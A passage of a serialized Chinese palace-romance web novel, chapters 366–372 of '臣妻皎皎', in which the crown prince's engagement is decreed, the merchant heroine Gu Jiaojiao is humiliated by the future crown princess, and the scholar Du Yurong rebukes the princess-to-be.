她还是决定带沈云祉远离人群,毕竟,猜不到他接下来还会做出什么。 沈云祉也不拒绝,抬脚便向楼上走去。 “莺儿,馨儿,你们招呼着。” 顾皎皎吩咐着,而后看向顾昭。 “你要跟我上去吗?” “好。” 这一次顾昭倒是答的痛快。 顾皎皎很满意,她还以为他会怕沈云祉。 楼上的雅间里,门一关,便似是与外界隔绝,顿时安静了不少。 顾皎皎进门后,便让顾昭坐在一侧,而后便瞪向软榻之上的沈云祉。 “你要做什么?你是当朝太子,为何送这般大的礼?” “我还是第一次听说,有人因为收礼生气的。” 沈云祉唇角的玩味那般明显,根本不将她的愤怒放在心上。 “你居心不良。” “你不肯做我的侧妃,我总不能像你这般无情,既然日后有小弟了,我自是要来贺一贺的,一家人嘛。” 沈云祉无赖起来,着实让人无可奈何。 顾皎皎放在身侧的手都握成了拳头,看向沈云祉的目光也似是藏了把刀子一般。 “你,顾昭是吗?你不怕我吗?” 沈云祉突然看向不远处的顾昭。 顾昭礼貌的站起身。 “不怕。” “好胆色,你眼光确实不错,这个幼弟我也喜欢,你准备教他什么?宫中有许多有才学之人,我可以……” “不劳殿下费心了,这是我顾家的人,不敢惊动皇宫里的贵人。” 顾皎皎毫不犹豫的说道。 沈云祉也不意外,歪着头,装出一副很是委屈的模样。 “按理说,我也是诚心诚意来道贺的,你这般态度可不是待客之道。” 他站起身,走到顾皎皎面前,继续说道。 “想吃你做的玫瑰酥。” 他那双漆黑的眸子似是带着魔法,让人看不到底,却又不自觉的深陷其中。 他目光诚挚,带着一丝炙烈,也是很难得的,少有的在他的神色上看到少年感。 “今日没有空,明日……” “好,那便明日,我让人来取。” 顾皎皎话还未说完,沈云祉便直接答道。 只那一刻,顾皎皎便回过神来,在心里暗骂了自己无数次。 她怎么就答应他了呢? 明知他那么危险,她竟连这一点理智都无法保持。 “我还有要事,先行一步,过几日再来看你。” 沈云祉看着她时,眼中满是柔情,他甚至还抬手轻抚了一下顾皎皎乌黑的长发。 在顾皎皎反应过来之前,他已经离开。 “无赖。” 顾皎皎低吼出声,转头就撞上了顾昭疑惑的目光。 “他,他就是个疯子,不用理他,走,我们出去。” 她面露尴尬,毕竟,她也无法向一个孩子解释她与沈云祉之间的事。 顾昭倒是懂事,并未过问,跟着顾皎皎下楼。 一整天忙碌下来,顾皎皎很是疲累,躺在床榻之上便不想动。 “姑娘,太子殿下送来的那些贺礼是收入库房吗?” 莺儿进来询问。 “送去顾昭屋里,那是他得的贺礼。” 顾皎皎说完便不知不觉的睡着了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十七章 你是怕欠人情 顾昭是个少言的孩子,但却有自己的想法。 顾皎皎给他请了文武师傅,除了学习外,她也会教他看帐薄。 那些数字极为繁杂,各个铺子的记录方式也不一样,但顾昭学的认真,也从未喊过辛苦。 顾皎皎问过他,如此繁重的学业会不会让他觉得无趣,顾昭却极力否认,相比他之前的生活,现在来说是轻松的。 顾皎皎也会抽出时间带他出去,看看铺子,了解了解产业,也会带他逛逛这京都城,买一些小玩具,吃一些小吃。 这样的日子,倒也是让顾昭渐渐习惯了现在的生活,也开始对顾皎皎慢慢改观。 “外面的人说,你嚣张跋扈,又爱慕虚荣,你不为自己辩解吗?” 顾昭仰着小脸儿,一脸认真的向顾皎皎询问着。 顾皎皎笑了笑,将一盘新鲜的果子推到他面前。 “这世间最难管住的就是别人的嘴,我不在乎。” “可是他们说的多了,别人就真的以为你是那样的人了。” 顾昭似是一副替她鸣不平的样子。 顾皎皎歪着头看着他,顿时明白了什么。 “所以,你当初不愿意进顾家,也是因为听到了那些传言是吗?” 顾昭没有说话,却还是重重的点了点头。 他听闻,顾皎皎虽为女子,却是一个不择手段之人,唯利是图,为达到自己的目的,不择手段。 他还听说,顾皎皎离开安阳候府,就是因为遇到了太子,那些生意上的成就,也大多都靠男子。 他更听说,顾皎皎是个极为自私之人,毫无怜悯之心。 那些传言传的有鼻子有眼,所以最初顾昭对她极为抗拒、厌恶。 而顾皎皎,向来最不在意的便是这些。 “我若在意了,正中他们下怀,不会对他们有什么影响,却只会让我忧思伤神,女子在世本就不易,我又守着这样的家产,自是会有人嫉妒的,就如你当初被欺负一样。” 顾皎皎停顿了一下,见顾昭听的认真,便又说了下去。 “日后,你也一样会面临我这般情况,你要记住,问心无愧即可,不必太过在意别人的看法。” 顾昭似懂非懂的点点头。 他不太明白日后他会面临什么,但觉得顾皎皎说的必然是对的。 正在此时,莺儿从外面走进来。 “姑娘,杜大人来了。” 杜玉荣再一次出现在顾府,这一次多少带着一些怨气。 “你认下弟弟,如此大事,也该知会我一声。” 杜玉荣看着眼前的姐弟二人,并非责怪,也只是因为顾皎皎的隐瞒而觉得难过。 顾皎皎微微欠身。 “到底只是家事,不敢叨扰杜大人,昭儿,过来,见过杜大人。” 顾昭倒是听话,抱拳行礼。 “见过杜大人。” 杜玉荣还是认真的打量了一下这个男孩儿,无论是相貌还是眼神都是无可挑剔。 “顾昭,这位杜大人便是我之前向你提起的,三元及第的状元郎,在这整个京城之中,最为有才学的便是他了,日后若有机会,你也要跟杜大人好好学学。” “是,顾昭年幼,还望杜大人多多指教。” 顾昭答的极为顺畅,可是只有他和顾皎皎知道,在此之前,顾皎皎从未提起过此人。 杜玉荣的脸色瞬间缓和不少。 “你是顾姑娘亲自挑选的人,自是差不了。” 他的话倒也是出自真心。 “多谢杜大人,大人与长姐闲谈,我先去做功课。” 顾昭又行个礼,退了出去。 “年纪虽小,步伐却稳,未见慌乱之色,你倒是教导有方。” 待顾昭出去后,杜玉荣无不赞赏的说道。 顾皎皎坐了下来。 “他聪慧,为他请的师傅也算尽心,自是学得快些。” “如此一来,你怕是更加忙碌。” 杜玉荣毫不掩饰眼中释放出来的心疼,他本是清冷孤傲之人,似是将所有的柔情都给了顾皎皎。 “还好,若是顾昭日后有出息,能为顾家传承,现在辛苦些也是值得的。” “你当真喜欢那孩子。” “杜大人刚刚不就说过,我自己挑选的,自是极为喜爱的。” 顾皎皎半开着玩笑,说的也是心里话。 杜玉荣思索片刻,才再次抬起头。 “我近来也是无事,不如过来给顾昭传授功课。” 他有询问的意思。 顾皎皎怔了怔,立即摇头。 “不敢,杜大人身份尊贵,我们……” “顾姑娘,你要知道,在才学方面,没有人比我更能胜任,顾昭正是学习的好年纪,若是耽误了,岂不得不偿失?” 顾皎皎迟疑片刻。 她确实想给顾昭最好的,杜玉荣也确实无人能敌。 “杜大人的好意我心领了,只是顾家只是如此,能给予顾昭什么,也只需要顾家尽力就好。” 她终究是拒绝了。 她欠杜玉荣良多,不可再积累下人情,不然怕是还不完了。 杜玉荣微微皱眉。 “你是怕欠人情。” 顾皎皎只是笑笑,没有说话,微低下头,依旧是那副淡然的神色。 “罢了,我带来了一些书籍,都是顾昭现下用得上的,还有几本是孤本,他闲来无事之时,可以看看。” 他也知道,从顾皎皎这里也听不到什么好话。 “多谢杜大人。” 他们相识许久,也是可以谈论史诗,畅想美好的,但若涉及到私人情感,顾皎皎一直都是逃避的态度。 哦不,确切的说,是拒绝。 杜玉荣也没有再与顾皎皎多说什么,而是去看了顾昭的功课,他也不住的称赞,顾昭极为聪慧,又肯用功,日后必成大气。 顾昭也佩服杜玉荣的才学,向他请教许多问题,直到杜玉荣离开,他还意犹未尽。 “杜大人与阿姐也是旧相识?” 在顾府门口,看着杜玉荣的马车离开,顾昭才抬头向顾皎皎询问。 顾皎皎扯动了下嘴角。 “算是吧。” 杜玉荣谦谦君子,是京城中多少姑娘的梦中情郎,只可惜他看中的人,却并非良人。 “杜大人才学渊博,与阿姐不相上下。” 顾昭极为认真。 顾皎皎不禁笑出声。 “这话若是让别人听到,会认为我们姐弟二人自不量力的。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十八章 锦书难托 皇宫。 如今的朝堂还算稳固。 平王偶尔会来宫中闹一闹,但到底他与沈云祉的实力悬殊,最后也只是说些难听的话发泄心中的怒火。 如此一来,沈云祉的空闲时间便多了一些。 “平安镇的事,还没有消息吗?” 沈云祉倚靠在榻上,看着窗外的松柏,沉声询问。 “回殿下,还未,事隔多年,平安镇事发当时的那些贼匪关押于各地,后有的斩首,有的流放,查找起来有些困难。” 双剑在一侧答道。 “再加派些人手,不可放过任何一个线索。” “是,只是,殿下不是答应皇上会放过平王吗?” “于私事而言,我甚至不屑于与平王计较,可平安镇几百条人命,我没有资格替他们饶恕。” 沈云祉的声音透着冰冷与坚定。 他缓缓收回目光,从榻上起身,整理了一下衣衫。 “去看看皇上。” 沈云祉前往皇上的寝宫。 皇上身体越发不好,缠绵于病榻,一整日的时间里,下地的时间都极少。 太医按照沈云祉的吩咐,用着最好的药材和补品,可皇上也只是一日一日的挨着。 沈云祉极为有心,无论多忙,每日都亲自来看望皇上,有时皇上睡着,有时也像今日这般,能赶上皇上精神最好的时候。 皇上刚喝完汤药,沈云祉进来后,立即端了一碗水走过去。 皇上的脸上已然没什么血色,冲沈云祉笑了笑。 “朕知你忙于政务,朕安然无恙,你不必日日过来。” “臣近来无事,朝政稳固,来看望皇上也是想聆听教诲,多向皇上学习治理之术。” 他接下那碗,放到一旁,又将帕子递给皇上。 皇上指了指旁边的椅子,让他坐下。 “朕何尝不知道你是不放心朕,其实也没什么可担心的,朕已无牵挂,就算此刻去了,也没什么不放心的。” “皇上病中灰心,却也不可说这种不吉利之言。” 沈云祉眉宇间袭上了一抹凝重。 皇上看出他的不愿,大笑两声,抬手拍了拍他。 “好了,朕也只是随口一说,说起来,朕也有件喜事要与你说。” 皇上看了看身侧,他贴身的公公立即明白,从一个匣子里拿出一份诏书递给了沈云祉。 “朕看到了首辅大人的折子,也与云南王聊过,倒是觉得这门亲事极好,首辅的孙女朕也见过,颇有才学,与你也算是门当户对。” 沈云祉看着那份诏书,词藻华丽,每个字都透着喜庆,总结下来,就是皇上亲自下召,为沈云祉与赵蕴苎定亲。 沈云祉面色平静,却拿着那份诏书看了许多,没有人知道,他脑海中浮现的一直都是那个明艳娇美,坦然淡定的顾皎皎。 他记得她说过,此生绝不为妾,也记得她不顾一切的避开她。 这份诏书发出,他要如何再面对她? “可有不妥?” 皇上开口,将沈云祉的思绪拉回现实。 沈云祉扬起嘴角,仔细的将诏书收起。 “多谢陛下,陛下亲自指婚,是臣的荣耀,自是无任何不妥。” 那抹若有若无的笑袭上沈云祉唇角,也让人无法分辨是真是假。 “那便好,明日便由朕的贴身宫人去宣读圣旨,只是到年下了,没有成婚的好日子,倒也不急在一时。” “皇上圣体欠安,还为臣之婚事操心,臣心不安。” “你贵为太子,太子妃的人选自要家世清白,人品贵重,朕也私心想着,首辅在朝中势力不可小视,若与他联姻,也可保证将来赵家世代都忠心于你。” 皇上能在诸多皇子成为君王,自有他的城府。 他身在皇位多年,自然知道朝中局势复杂,沈云祉为新立太子,举步为艰,可若是能长久的拉拢住首辅,那便不用再担忧任何事。 “皇上思虑周全,臣定不负皇上期望。” 沈云祉起身行礼,微低下头,没有让皇上看到他眼中的那抹无奈。 皇上又交代了他一些事,而后便咳嗽起来。 沈云祉将皇上所说的事一一记下,也照顾着皇上重新躺在床榻上。 走出皇上的寝宫,沈云祉并未回东宫,而是走进了御花园。 冬日萧条,这原奇景无数的御花园也显得格外冷清。 松柏常绿,伫立在风中,也立在这寒冷之中,显得孤傲,生机勃勃。 不远处的荷花池,已经结了一层冰,若昌在夏日,荷花盛放之际,这里便是一眼望不到头的荷花,美极了。 之前经过这里,沈云祉还想过,待到夏季来临,他便找个机会将顾皎皎带入皇宫,让她看看这满池的荷花。 沈云祉站在荷花池前,停下脚步。 冷风吹过,吹动着他的衣袍,也吹动着他冷冽的脸庞。 双剑与双瑞跟在他身后,就连一向话多的双瑞都未敢上前说什么。 他们一直随行在沈云祉身侧,自是知道诏书之事,也知道此时光云祉心里在想些什么。 “在那亭子里,备些酒。” 沈云祉悠悠开口,听上去有些遥远。 双剑双瑞二人都有些犹豫,但最后也只能去做。 天气寒冷,宫人在这亭子里还备了火炉。 沈云祉坐在亭子中,将杯中的酒一饮而尽。 “殿下,酒烈伤身,属下备了些糕点,先尝些?” 双瑞将两盘糕点摆上,那糕点是御膳房新制的,色香味俱全。 沈云祉倒了扫了一眼,而后抬眼瞪向双瑞。 他的脸上没有任何表情,目光也满是冰冷。 双瑞不禁缩了缩脖子,未敢迟疑便将那两盘糕点撤了下去,随后便端上了一盘玫瑰酥。 这份玫瑰酥是前些时日,沈云祉亲自向顾皎皎讨的,也是顾皎皎亲手做的。 沈云祉喝着酒,吃着那玫瑰酥。 他整个人都散发着寒气,使周围的人不敢上前半步,就连双瑞与双剑都不曾说一句。 天气渐暗,这亭子的石桌上已然摆了不少空酒壶,而沈云祉也将盘中最后一块糕点拿起。 “山盟虽在,锦书难托。” 沈云祉沉声开口,也将那块糕点放入口中。 他起身,周身散发着酒气,面色阴沉的向东宫走去。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十九章 争风吃醋 沈云祉与赵蕴苎的婚事,召告天下。 首辅大人的孙女儿,京城第一才女赵蕴苎,又有了一个新的身份,太子妃。 赵家人来人往,全是恭贺之人,这里的人大多是讨好,是巴结,也是为自己的将来铺路。 同是朝中大臣,这纸诏书的意义,他们心知肚明。 普天同庆的好事,自然也会传遍整个京城。 第一楼。 “皇上亲下的圣旨,自是一门好亲事。” “太子是未来的储君,这赵家姑娘又是首辅的掌上明珠,有京城第一才女之称,怕是整个天下也找不出如此门当户对的婚事了。” “这只是其一,最重要的是,太子与首辅结了姻亲,那日后太子登基,这太子妃自然就是皇后了。” 这场婚姻里的好处,任谁都可以想的到。 如那些人所说,这全天下,怕也找不出如此完美的婚事,父母之命,媒妁之言,又由皇上亲下圣旨,也自是名正言顺。 顾皎皎站在二楼的柱子后,将楼下之人所说的话听得一清二楚。 她感觉到自己的心脏在抽搐,似是疼着,又似是有什么东西压的她喘不过来气。 是啊,她早就知道是这样,不是吗? 可为何,她还是忍不住难过,心痛。 “姑娘,回去歇息吧。” 莺儿一直站在她身侧,听得到那些议论,也知道顾皎皎心中苦楚。 这一次,顾皎皎连敷衍着笑一下的力气都没有,只是轻轻的点了点头。 只是,主仆二人刚刚走下楼梯,一抹亮丽的身影便出现了。 赵蕴苎。 这个刚刚被圣上赐婚的赵家千金,未来的太子妃,大摇大摆的出现在顾皎皎面前。 “顾姑娘这是要去哪里?不用做生意吗?” 赵蕴苎笑的招摇,眼中的挑衅极为明显。 顾皎皎并未迟疑,走上前去。 “赵姑娘可是来用膳,我会吩咐人侍奉得当,只是我今日身体不适,无法作陪了。” 她说这话的时候,脸上没什么表情,语气也显得生硬许多。 此时此刻,她确实没什么心情应对眼前的人。 “身子不适?是身子不适,还是做了什么亏心事,想要躲着我啊。” 赵蕴苎提高音量,也引得周围的人侧目。 顾皎皎冷冷的看了她一眼。 “我不曾觉得做了什么亏心事,倒是不知赵姑娘所指何事?” “你啊,生了一副好皮囊,只可惜出身差了些,不然现在也不会这般自怨自艾了,又或者,顾姑娘已经退而求其次,准备换其他男子献媚了?” 赵蕴苎句句讥讽,句句挑衅。 也不等顾皎皎说什么,她便又说了下去。 “哦对,忘了跟你说,我日后便是太子妃了,你见到我之后该是行大礼的,若是没了规矩,我可是会生气的。” “是,民女谨记于心。” 顾皎皎矮了矮身子行礼。 莺儿站在她身后,自是知道她内民烦躁,只想打发了眼前的人,可赵蕴苎一朝得势,又怎肯放过她家姑娘。 “这就对了,我本也不是苛刻之人,见你这般懂事,我也不会为难于你。” 赵蕴苎高昂着头,眼中都满是得意。 “谢赵姑娘,民女身子不适,便想先行……” “别着急走,我还有事吩咐你做呢。” 赵蕴苎说着便找了一个空的位置坐下来,装出嫌弃的模样开口。 “我呢近来在家中学**宫礼仪,难得来这第一楼,我不喜你店里的那些侍女伙计,就由你来亲自服侍我用膳吧。” 赵蕴苎话音落下,整个第一楼都安静下来。 空气里弥漫着冰冷的气息,所有人的目光都落在顾皎皎脸上,而后便有人开始议论起来。 “这赵姑娘是在故意找顾掌柜麻烦吧?” “听闻之前就不和,现下这赵姑娘也不是顾掌柜能得罪的起的了。” “自然了,这顾家再有财帛也不过是商户,那赵姑娘可是太子妃。” 众人小声的议论,也不住的看着眼前的景象。 “赵姑娘,我家姑娘确实身子不适,怕会怠慢了姑娘,不如奴婢了服侍赵姑娘,奴婢对……” “你只是一个贱婢,也配侍奉我吗?” 赵蕴苎毫不犹豫的打断莺儿的话,随后将目光落顾皎皎身上。 “顾掌柜不会不愿意吧?” 挑衅,得意,嘲讽都在赵蕴苎的目光里。 顾皎皎知道,赵蕴苎如此对她,不是为了沈云祉,而是因为杜玉荣。 只是如今,赵蕴苎身份不同,她便也想仗着这身份,让顾皎皎难堪。 顾皎皎是想要忍下这口气的。 可就在此时,馨儿从楼上下来。 “我们姑娘不愿意。” 馨儿下来时,手中多了一把长剑。 那把剑是一年前,顾皎皎特意命人给她打的,上好的材料,独一无二,馨儿很珍视这把剑,很少拿出来。 而现在,她提剑下楼,必是不想让她家姑娘受委屈。 “你一个贱婢也敢站出来,谁给你的胆子?顾皎皎,你下面的人还懂不懂规矩?” 赵蕴苎是意外的,眼中也袭上怒火。 “你不必为难我家姑娘,你上门挑衅欺负人,倚仗的是你赵家,还是皇室?若是你赵家,便是你家教不严,若是皇室,那未来的太子妃便是没有任何德行之人。” 馨儿不给顾皎皎说话的机会,完全挡在了她身前。 这丫头脾气向来不好,不顺心的时候甚至还会‘教训’顾皎皎几句,她自是不会将赵蕴苎放在眼里。 而这话,也让赵蕴苎彻底火了。 她腾的一下站起身,站在那主仆三人面前,一副高人一等的模样。 “一个小小的贱婢,竟然敢议论皇室之事,我看你是活腻了?来人……” “赵姑娘三思。” 顾皎皎开口,不是怕来人,而是她注意到馨儿在准备拔剑。 她上前几步,轻轻拍了拍馨儿的手,而后才看向赵蕴苎。 “赵家被赐亲,正是大喜之时,赵姑娘若是在我这里惹了麻烦,日后如何与首辅大人交代?难不成要说,是为了争风吃醋吗?” 顾皎皎的声音冷了几分。 赵蕴苎脸色微变,却也不禁咬了咬牙。 “你胡说什么?我从未惹麻烦。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十章 过奖了 顾皎皎本不欲与赵蕴苎争论,可奈何对方不肯放过,既如此,那便也不必再躲着。 “我是不是胡说,赵姑娘心知肚明,你为何出现在这里,你里清楚。” 顾皎皎停顿了一下后,上前一步,离赵蕴苎更近了些。 “我只是一介商女,赵姑娘想让我侍奉你用膳,也未尝不可,可你确定要以此事引起流言纷纷?赵姑娘该知道,我顾皎皎向来不是良善之人,流言起,我只会添油加醋。” 算是威胁吧。 这里很多人都不知道赵蕴苎上门的真实原因,不过都是看热闹,过后留一个茶余饭后的谈资人。 赵蕴苎死死的盯着顾皎皎,而顾皎皎回敬着她,没有丝毫退让。 “哼,我就说嘛,你最擅长的便是伪装,刚刚还装作温顺的模样,现在本性就暴露出来了,想来你也是这么勾引男子的吧?浑身上下都是一副狐媚相。” “赵姑娘过奖了。” 顾皎皎毫不犹豫的说道,也不顾赵蕴苎气红了脸,便侧了侧身。 她抬手扶了扶发簪,将一抹妩媚的笑挂在脸上,再次缓缓开口。 “民女是狐媚也罢,是勾引也好,都是民女自己的事,倒是赵姑娘,现下已算是皇家人,满门荣耀,可太子殿下是赵姑娘心底的那个人吗?” 赵蕴苎脸色越来越难看,最后咬着牙上前,与顾皎皎更近了几分,甚至压低了声音开口。 “顾皎皎,你敢。” “赵蕴苎,我顾皎皎走到今天自有我的手段与城府,兔子急了还会咬人,姑娘一再逼迫,我也定然不会坐以待毙。” 顾皎皎终是给她留了最后一丝颜面。 赵蕴苎整张脸上都写着不甘,可她也不傻,知道顾皎皎这个女人有时是会发疯的。 她后退两步,与顾皎皎拉开距离,冷笑出声。 “顾皎皎,你的好日子,还在后头。” 赵蕴苎终究是离开了。 第一楼又恢复了刚刚的热闹,好似什么也没有发生一样。 “姑娘也太好性了,她这般作为,就该让我好好教训她一番才是。” 到现在为止,馨儿还紧紧握着手中那把剑,气的不轻。 莺儿立即从一旁扯了扯她。 “别胡闹,那是未来太子妃,真若惹出了事,岂不是给咱们姑娘惹麻烦?” 顾皎皎听着她们的对话,淡然一笑。 “好了,无妨,只是小事,我乏了,回府吧。” 少有人知道,顾皎皎是如何撑着精神在这里面对一切的。 馨儿与莺儿陪同顾皎皎回府,但她们二人都没有上马车。 “姑娘今日是怎么了?我原以为是那赵家女子惹姑娘不快,可现在看来,好像也与那女子无关。” 馨儿向莺儿小声的询问着。 她还从未见顾皎皎这般,整个人都没有什么精神,好似对什么都没有兴趣一般,也不知是不是馨儿的错觉,她总觉得顾皎皎在难过。 “别问了,记得莫要在姑娘面前提起这些。” 莺儿压低声音提醒着馨儿。 馨儿不解,还是重重的点头。 回到顾府后,听下人说,杜玉荣来了,正在与顾昭传授功课。 顾皎皎也只是应了一声,便回了自己的屋子,她没有让任何人进门侍奉,只一个人进了寝室。 莺儿和馨儿站在门外,互视一眼,都不由得叹了口气。 “馨儿,你去厨房吩咐他们备些吃食,再给姑娘熬一剂姜汤。” 莺儿低声说着。 馨儿立即点头。 “好,我这就去。” 屋子里,阳光透过窗子洒进屋内,也洒在微仰着头的顾皎皎脸上。 只是今日,她未觉得这阳光有半分温暖,而是凉意,从心底涌起的凉意。 沈云祉的脸不断的在她眼前浮现。 是从什么时候起,他眉眼开始刻在她的心上的呢? 是在候府时,他略显纨绔的出手相帮?或是他不顾一切,挡在她身前,那支箭刺进他胸膛之时?亦或是他明明身份贵重,却可为了她不惜闯入平王府,带她入东宫? 原来,他们之间发生了那么多事,而她也竟记得那么清楚。 顾皎皎就这样坐着,看着窗外,看了许久。 直到外面响起了一些动静。 莺儿一直守在门口处,也将过来的杜玉荣挡在门外。 “杜大人,我家姑娘身体不适,现下正睡着,不便见大人了。” 莺儿微微欠身行礼。 杜玉荣面露凝重,眼底也袭上担忧之色。 “可是着凉了?请了郎中否?我现在便去请郎中。” 说着,他便欲转身,但却被莺儿拦下了。 “杜大人有心了,只是姑娘的性子您也知道,她不愿叫郎中,只是想歇息下,若是惹她不高兴了,怕是更不好。” 莺儿面露为难之色。 杜玉荣停下了脚步,微微点头。 “也是,她素来要强,既如此,便让她歇息吧。” 他停顿了一下后,又似是突然想起什么的道。 “不如我去给她熬点粥,待她醒了正好可用些。” “杜大人身份尊贵,怎敢劳动大人做这种事?您放心,奴婢都已经安排好了,只是今日姑娘怕是不能与大人叙话了。” 莺儿应对得宜,也在言语间表明了意思。 杜玉荣何等聪明,微微点头。 “无妨,我也只是担心她,时辰也不早了,那我便先走了。” “奴婢送大人。” 莺儿将杜玉荣送到府门外,看着他的马车离开才返回府内。 只是,她还未走几步,一个小小的身影便蹿了出来。 “哎呀,我的小少爷,你吓我一跳。” 莺儿看着眼前小小的人,立即蹲下身来看着他。 “姐姐怎么了?” 顾昭看着莺儿,清澈的眸子里满是担忧。 莺儿笑了笑,起身拉着他向院子里走去。 “姑娘身体不适,小公子的功课做完了?” 她试图岔开话题。 “阿姐不让下人进去,也没有像往常一样向杜大人道谢,她不是生病了,是发生了什么事,对吗?” 这个小家伙一向机灵的,跟在顾皎皎身边的这段时间,更是学了许多,那些骗小孩子的谎言已经骗不了他了。 莺儿看着他,脸上的笑意更浓。 “你这股聪明劲儿,跟姑娘小时候倒很像。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十一章 年少礼教 莺儿并未向顾昭说明原因,只说顾皎皎心情不好,让他有机会亲自去向顾皎皎询问。 顾昭懂事,只在门外站了一会儿,便回了自己院子。 另一边。 杜玉荣也并非是傻子,莺儿几番言辞已让他知道定是发生了什么事。 在回府的路上,他命小厮去第一楼打听了一番,小厮回来后,才得知赵蕴苎去找过顾皎皎。 “听闻赵姑娘给了顾姑娘好大的难堪,赵姑娘离开后,顾姑娘就回府了。” 小厮说着听来的事,甚至还描述了一下赵蕴苎作威作福的言语,让人不忍而闻。 杜玉荣听着,那张温和的脸上瞬间袭上了一抹冰冷。 “去首辅府。” 他冷声开口。 小厮怔了怔,立即明白了他家公子的意思。 “公子,现下赵姑娘已然算是太子妃了,我们此去怕是……” “既是如此,更应该去道贺。” 杜玉荣的声音都冷了几分。 小厮只得驾车前行,不过看着他家公子这样子,可没有丝毫道贺的意思,根本就是兴师问罪的。 首辅府这些时日来往宾客众多,杜玉荣是首辅学生,待遇也自不相同。 “杜公子,老爷还在房中待客,稍候片刻。” 首辅里的管家上了茶,让杜玉荣在偏殿先等着。 杜玉荣道谢。 首辅自是忙碌的,杜玉荣又何尝不清楚?本就在他的意料之内,而且,不到一刻钟的时间,赵蕴苎便出现,也是他预料之中。 “荣哥哥来了,近来许久未见,可是朝中之事过于忙碌?” 此时的赵蕴苎温和从容,高贵典雅,言语间还带着少女的羞涩与柔情。 这可与她在第一楼时的模样,大相径庭。 杜玉荣抬了抬眼帘,脸上没什么表情。 “赵姑娘有事?” “听下人说,荣哥哥来了,祖父又忙着,我便过来陪陪荣哥哥。” 这么多年,赵蕴苎一直是这样的,只要有机会,她便围着杜玉荣转。 前些年,杜玉荣常在首辅府走动,她也几乎日日都与杜玉荣在一起。 杜玉荣看似温和,实则一直是个冷傲之人,这么多年的相处,他对赵蕴苎一直敬而远之,从未有半分亲近。 赵蕴苎会难过的,但她想着,日久生情,总有一天她可以打动杜玉荣的。 只是,谁也不曾想到,她等来等去,却是这个结果。 “男女授受不亲,赵姑娘与我孤男寡女,共处一室,怕是于礼不合。” 杜玉荣目视前方,坐得端正,说出来的话如冰一般刺进赵蕴苎心底。 赵蕴苎愣住,不可思议的看着杜玉荣。 “荣哥哥,此话何意?” 他们不是一直这样长大的吗? 今日,面前的人未免太过冷漠了些。 而此时,杜玉荣也缓缓转过头迎向赵蕴苎的目光。 “不是赵姑娘说的吗?身为女子该以礼德为先,莫要与男子过于亲近,避免狐媚之嫌。” 杜玉荣所说的每个字都那么耳熟。 赵蕴苎的笑僵在脸上,她清楚的记得,这些话都是她骂顾皎皎的,只半日功夫,杜玉荣竟都知晓了。 “荣哥哥是来为那顾皎皎打抱不平的吗?我是这般说过她,可荣哥哥也该知道,我与她并不相同,我自幼与你一起长大,这份情谊……” “赵姑娘怕是误会了,在下与姑娘之间毫无情谊可言,只是相识罢了。” 杜玉荣停顿了一下后,又继续道。 “至于说到不相同,你说的倒是没错,顾皎皎孤身一人,与何人相处都坦荡坦诚,而赵姑娘现下已经定亲,更该注重自身言行。” 他就是来为顾皎皎出气的。 赵蕴苎脸色越来越难看,悲伤瞬间涌上心头。 “荣哥哥当真如此绝情?我们十几年的情义竟比不过相识几月的顾皎皎吗?” “赵姑娘误会了,顾姑娘是我放在心底的女子,你与她不可相提并论。” 杜玉荣从不是拖泥带水的性格,这也是他第一次当着赵蕴苎的面直言自己对顾皎皎的感情。 “荣哥哥,你出身清流人家,前途无量,怎可被那般女子耽误?就算你不在意她的出身,可她也曾嫁为人妇的。” “我心悦的是她这个人,与她的过往毫无关系,自然这些都与你无关。” 杜玉荣说着便站起身,直面赵蕴苎继续说道。 “赵姑娘已有太子妃的身份,不宜再去因一己私情去为难旁人,免得会被人赵家出来的姑娘得势张狂,缺少礼教。” 杜玉荣甚至还抱拳行了个礼,而后转身离去。 他根本不是来恭贺的,而就是为了将这些话说与赵蕴苎听的。 赵蕴苎在原地站了许久,泪水何时落下的也不曾知晓,只知模糊了眼睛,那个原本熟悉的背影越来越模糊,直至消失不见。 “姑娘,你别难过,杜公子,杜公子许只是说的气话。” 思荣上前,拿着手帕轻拭着赵蕴苎脸上的泪珠。 赵蕴苎抬手将她的手打掉。 “都是顾皎皎这个贱人,都是她,荣哥哥才会说如此重话,荣哥哥从未这般对我。” 赵蕴苎低吼出声,眼中的悲伤与仇恨并存,那是欲杀人的眼神。 “姑娘,小声些,陛下亲赐圣旨,你已然有太子妃的身份,若是被别人听到,怕是不好。” “有什么不好?我根本不稀罕什么太子妃,我只想跟荣哥哥在一起,那些靠近他的女子,都该死。” “放肆。” 一道严肃的声音突然从门外响起。 赵蕴苎也在此时缩了缩脖子,不禁退后两步。 房门打开,首辅从外面大步进来,看向赵蕴苎的目光里也满是严肃。 屋子里的下人都被赶了出去。 “圣旨已下,婚事已定,你竟然能说出这种话,可否将我们赵家全族的命放在眼里?” 首辅坐下时,还狠狠的瞪了赵蕴苎一眼。 赵蕴苎头埋得很低,却也依旧不甘。 “祖父,苎儿也并未打算抗旨,只是,只是总有一些不怀好意的女子打荣哥哥的主意,我……” “与你有何干系?” 首辅冷声打断了她的话。 赵蕴苎一时无言,那自幼长大的情分确实也不能当成一个理由。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百七十二章 从未奢求什么 “杜玉荣才华横溢,人品贵重,将来他也会娶妻生子,会有良人相伴,这些都与你无关,你是太子妃,未来的皇后,一国之母,你要永远记住这个身份。” 首辅已经不只一次说过这样的话。 赵蕴苎觉得自己的心瞬间就空了,她无法想象看着杜玉荣与其他女子出双入对,并肩而行的模样。 她年少倾心于杜玉荣,无数的幻想都是她站在他身侧,可现实里,她又不得不面对这样的事实。 “我刚刚与一位大人闲聊,听闻你今日出府又去惹事了,我不问你是何原因,只罚你闭门思过三日,这三日里抄写女则女训,不得糊弄。” “祖父……” “苎儿,之前你是赵家的明珠,你胡闹任性,祖父都会由着你,护着你,但日后你是皇家人,若再如此这般,会让整个家族给你陪葬,你最好想清楚。” 首辅自是知道她要说什么,可这世间悲伤,难过,不舍等等的情绪,谁人没有?只要活着,人人都有无奈,但前提是得活着。 首辅离开了。 赵蕴苎整个人的力气都似是被抽空了一般,她瘫坐在椅子上,所有的情绪都涌上心头,她才发现她没有任何办法。 